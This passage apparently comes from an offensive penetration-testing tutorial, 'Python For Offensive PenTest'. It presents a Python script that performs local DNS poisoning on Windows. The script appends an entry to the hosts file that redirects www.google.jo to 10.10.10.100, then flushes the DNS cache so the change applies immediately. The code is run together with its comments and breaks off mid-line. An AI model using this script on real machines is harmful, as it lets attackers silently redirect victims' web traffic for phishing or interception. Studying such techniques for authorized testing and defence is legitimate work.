Now we'll automate the steps, but this time via a Python script.
Open the script and enter the following code:
# Python For Offensive PenTest# DNS_Poisoningimport subprocessimport osos.chdir("C:\Windows\System32\drivers\etc") # change the script directory to ..\etc where the host file is located on windowscommand = "echo 10.10.10.100 www.google.jo >> hosts" # Append this line to the host file, where it should redirect # traffic going to google.jo to IP of 10.10.10.100CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)command = "ipconfig /flushdns" # flush the cached dns, to make sure that new sessions will take the new DNS recordCMD = subprocess.Popen(command, ...